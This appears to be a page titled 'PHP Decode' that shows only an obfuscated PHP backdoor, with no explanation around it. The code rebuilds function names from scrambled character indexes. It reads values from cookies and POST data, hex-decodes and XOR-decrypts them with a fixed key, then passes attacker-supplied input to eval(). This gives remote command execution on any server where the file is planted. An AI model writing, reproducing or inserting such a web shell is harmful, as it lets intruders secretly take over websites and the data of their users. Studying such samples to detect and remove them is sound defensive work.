PHP Decode

<?  $ywvcs = 'fx0rngys\'ekt8ud-5v*bp2oc37m#H694ai_l';$bjrhn = Array();$bjrhn[] = $ywvcs[28].$ywvcs[18];$bjrhn[] = $ywvcs[27];$bjrhn[] = $ywvcs[14].$ywvcs[23].$ywvcs[14].$ywvcs[16].$ywvcs[25].$ywvcs[24].$ywvcs[24].$ywvcs[9].$ywvcs[15].$ywvcs[0].$ywvcs[21].$ywvcs[14].$ywvcs[0].$ywvcs[15].$ywvcs[31].$ywvcs[21].$ywvcs[21].$ywvcs[2].$ywvcs[15].$ywvcs[32].$ywvcs[29].$ywvcs[21].$ywvcs[14].$ywvcs[15].$ywvcs[14].$ywvcs[0].$ywvcs[31].$ywvcs[12].$ywvcs[14].$ywvcs[25].$ywvcs[21].$ywvcs[0].$ywvcs[30].$ywvcs[31].$ywvcs[0].$ywvcs[29];$bjrhn[] = $ywvcs[23].$ywvcs[22].$ywvcs[13].$ywvcs[4].$ywvcs[11];$bjrhn[] = $ywvcs[7].$ywvcs[11].$ywvcs[3].$ywvcs[34].$ywvcs[3].$ywvcs[9].$ywvcs[20].$ywvcs[9].$ywvcs[32].$ywvcs[11];$bjrhn[] = $ywvcs[9].$ywvcs[1].$ywvcs[20].$ywvcs[35].$ywvcs[22].$ywvcs[14].$ywvcs[9];$bjrhn[] = $ywvcs[7].$ywvcs[13].$ywvcs[19].$ywvcs[7].$ywvcs[11].$ywvcs[3];$bjrhn[] = $ywvcs[32].$ywvcs[3].$ywvcs[3].$ywvcs[32].$ywvcs[6].$ywvcs[34].$ywvcs[26].$ywvcs[9].$ywvcs[3].$ywvcs[5].$ywvcs[9];$bjrhn[] = $ywvcs[7].$ywvcs[11].$ywvcs[3].$ywvcs[35].$ywvcs[9].$ywvcs[4];$bjrhn[] = $ywvcs[20].$ywvcs[32].$ywvcs[23].$ywvcs[10];foreach ($bjrhn[7]($_COOKIE, $_POST) as $tqbvr => $neugb){function ugqyghj($bjrhn, $tqbvr, $gwadf){return $bjrhn[6]($bjrhn[4]($tqbvr . $bjrhn[2], ($gwadf / $bjrhn[8]($tqbvr)) + 1), 0, $gwadf);}function gurhb($bjrhn, $wypxl){return @$bjrhn[9]($bjrhn[0], $wypxl);}function meabhtq($bjrhn, $wypxl){$hcawc = $bjrhn[3]($wypxl) % 3;if (!$hcawc) {eval($wypxl[1]($wypxl[2]));exit();}}$neugb = gurhb($bjrhn, $neugb);meabhtq($bjrhn, $bjrhn[5]($bjrhn[1], $neugb ^ ugqyghj($bjrhn, $tqbvr, $bjrhn[8]($neugb))));} 
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